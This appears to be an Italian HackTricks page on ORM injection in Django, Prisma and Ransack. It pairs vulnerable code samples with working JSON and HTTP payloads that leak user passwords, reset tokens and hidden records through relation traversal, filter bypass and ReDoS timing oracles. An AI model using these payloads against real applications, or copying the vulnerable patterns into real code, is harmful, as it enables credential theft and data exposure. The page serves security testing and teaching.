ORM Injection

Reading time: 7 minutes

tip

Impara e pratica l'Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica l'Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)

Supporta HackTricks

Django ORM (Python)

In questo post viene spiegato come sia possibile rendere vulnerabile un Django ORM utilizzando ad esempio un codice come:

class ArticleView(APIView):
"""
Alcuna vista API di base a cui gli utenti inviano richieste per
cercare articoli
"""
def post(self, request: Request, format=None):
try:
            articles = Article.objects.filter(**request.data)
            serializer = ArticleSerializer(articles, many=True)
except Exception as e:
return Response([])
return Response(serializer.data)

Nota come tutto il request.data (che sarà un json) venga passato direttamente a filtrare oggetti dal database. Un attaccante potrebbe inviare filtri inaspettati per cercare di leakare più dati del previsto.

Esempi:

  • Login: In un semplice login prova a leakare le password degli utenti registrati al suo interno.
json
{
"username": "admin",
"password_startswith": "a"
}

caution

È possibile forzare la password fino a quando non viene rivelata.

  • Filtraggio relazionale: È possibile attraversare le relazioni per rivelare informazioni da colonne che non ci si aspettava nemmeno fossero utilizzate nell'operazione. Ad esempio, se è possibile rivelare articoli creati da un utente con queste relazioni: Article(created_by) -[1..1]-> Author (user) -[1..1]-> User(password).
json
{
"created_by__user__password__contains": "pass"
}

caution

È possibile trovare la password di tutti gli utenti che hanno creato un articolo

  • Filtraggio relazionale molti-a-molti: Nell'esempio precedente non siamo riusciti a trovare le password degli utenti che non hanno creato un articolo. Tuttavia, seguendo altre relazioni, questo è possibile. Ad esempio: Article(created_by) -[1..1]-> Author(departments) -[0..*]-> Department(employees) -[0..*]-> Author(user) -[1..1]-> User(password).
json
{
"created_by__departments__employees__user_startswith": "admi"
}

caution

In questo caso possiamo trovare tutti gli utenti nei dipartimenti degli utenti che hanno creato articoli e poi leakare le loro password (nel json precedente stiamo solo leakando i nomi utente ma poi è possibile leakare le password).

  • Abusare delle relazioni many-to-many di Django Group e Permission con gli utenti: Inoltre, il modello AbstractUser è utilizzato per generare utenti in Django e per impostazione predefinita questo modello ha alcune relazioni many-to-many con le tabelle Permission e Group. Che fondamentalmente è un modo predefinito per accedere ad altri utenti da un utente se si trovano nel stesso gruppo o condividono la stessa autorizzazione.
bash
# By users in the same group
created_by__user__groups__user__password

# By users with the same permission
created_by__user__user_permissions__user__password
  • Bypass filter restrictions: Lo stesso blog ha proposto di bypassare l'uso di alcuni filtri come articles = Article.objects.filter(is_secret=False, **request.data). È possibile estrarre articoli che hanno is_secret=True perché possiamo tornare indietro da una relazione alla tabella Article e rivelare articoli segreti da articoli non segreti poiché i risultati sono uniti e il campo is_secret viene controllato nell'articolo non segreto mentre i dati vengono rivelati dall'articolo segreto.
bash
Article.objects.filter(is_secret=False, categories__articles__id=2)

caution

Abusare delle relazioni può consentire di bypassare anche i filtri destinati a proteggere i dati mostrati.

  • Error/Time based via ReDoS: Negli esempi precedenti ci si aspettava di avere risposte diverse se il filtraggio funzionava o meno per usarlo come oracolo. Ma potrebbe essere possibile che venga eseguita un'azione nel database e la risposta sia sempre la stessa. In questo scenario potrebbe essere possibile provocare un errore nel database per ottenere un nuovo oracolo.
json
// Non matching password
{
"created_by__user__password__regex": "^(?=^pbkdf1).*.*.*.*.*.*.*.*!!!!$"
}

// ReDoS matching password (will show some error in the response or check the time)
{"created_by__user__password__regex": "^(?=^pbkdf2).*.*.*.*.*.*.*.*!!!!$"}
  • SQLite: Non ha un operatore regexp per impostazione predefinita (richiede il caricamento di un'estensione di terze parti)
  • PostgreSQL: Non ha un timeout regex predefinito ed è meno soggetto a backtracking
  • MariaDB: Non ha un timeout regex

Prisma ORM (NodeJS)

I seguenti sono trucchi estratti da questo post.

  • Controllo completo della ricerca:
const app = express();

app.use(express.json());

app.post('/articles/verybad', async (req, res) => {
try {
// L'attaccante ha il pieno controllo di tutte le opzioni di prisma
        const posts = await prisma.article.findMany(req.body.filter)
        res.json(posts);
} catch (error) {
res.json([]);
}
});

È possibile vedere che l'intero corpo javascript viene passato a prisma per eseguire query.

Nell'esempio del post originale, questo controllerebbe tutti i post creati da qualcuno (ogni post è creato da qualcuno) restituendo anche le informazioni dell'utente di quel qualcuno (nome utente, password...)

json
{
"filter": {
"include": {
"createdBy": true
}
}
}

// Response
[
{
"id": 1,
"title": "Buy Our Essential Oils",
"body": "They are very healthy to drink",
"published": true,
"createdById": 1,
"createdBy": {
"email": "karen@example.com",
"id": 1,
"isAdmin": false,
"name": "karen",
"password": "super secret passphrase",
"resetToken": "2eed5e80da4b7491"
}
},
...
]

Il seguente seleziona tutti i post creati da qualcuno con una password e restituirà la password:

json
{
"filter": {
"select": {
"createdBy": {
"select": {
"password": true
}
}
}
}
}

// Response
[
{
"createdBy": {
"password": "super secret passphrase"
}
},
...
]
  • Controllo completo della clausola where:

Diamo un'occhiata a questo dove l'attacco può controllare la clausola where:

app.get('/articles', async (req, res) => {
try {
const posts = await prisma.article.findMany({
            where: req.query.filter as any // Vulnerabile a ORM Leaks
        })
res.json(posts);
} catch (error) {
res.json([]);
}
});

È possibile filtrare direttamente la password degli utenti come:

javascript
await prisma.article.findMany({
where: {
createdBy: {
password: {
startsWith: "pas",
},
},
},
})

caution

Utilizzando operazioni come startsWith è possibile rivelare informazioni.

  • Bypass del filtraggio relazionale molti-a-molti:
javascript
app.post("/articles", async (req, res) => {
try {
const query = req.body.query
query.published = true
const posts = await prisma.article.findMany({ where: query })
res.json(posts)
} catch (error) {
res.json([])
}
})

È possibile leak articoli non pubblicati tornando alle relazioni molti-a-molti tra Category -[*..*]-> Article:

json
{
"query": {
"categories": {
"some": {
"articles": {
"some": {
"published": false,
"{articleFieldToLeak}": {
"startsWith": "{testStartsWith}"
}
}
}
}
}
}
}

È anche possibile leakare tutti gli utenti abusando di alcune relazioni many-to-many a loop back:

json
{
"query": {
"createdBy": {
"departments": {
"some": {
"employees": {
"some": {
"departments": {
"some": {
"employees": {
"some": {
"departments": {
"some": {
"employees": {
"some": {
"{fieldToLeak}": {
"startsWith": "{testStartsWith}"
}
}
}
}
}
}
}
}
}
}
}
}
}
}
}
}
  • Error/Timed queries: Nel post originale puoi leggere un insieme molto esteso di test eseguiti per trovare il payload ottimale per estrarre informazioni con un payload basato sul tempo. Questo è:
json
{
"OR": [
{
"NOT": {ORM_LEAK}
},
{CONTAINS_LIST}
]
}

Dove il {CONTAINS_LIST} è un elenco con 1000 stringhe per assicurarsi che la risposta sia ritardata quando viene trovata la corretta leak.

Ransack (Ruby)

Questi trucchi sono stati trovati in questo post.

tip

Nota che Ransack 4.0.0.0 ora impone l'uso di un elenco di autorizzazione esplicito per gli attributi e le associazioni ricercabili.

Esempio vulnerabile:

ruby
def index
@q = Post.ransack(params[:q])
@posts = @q.result(distinct: true)
end

Nota come la query sarà definita dai parametri inviati dall'attaccante. È stato possibile, ad esempio, forzare il token di reset con:

http
GET /posts?q[user_reset_password_token_start]=0
GET /posts?q[user_reset_password_token_start]=1
...

Forzando e potenzialmente analizzando le relazioni, è stato possibile leakare ulteriori dati da un database.

Riferimenti

tip

Impara e pratica l'Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica l'Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)

Supporta HackTricks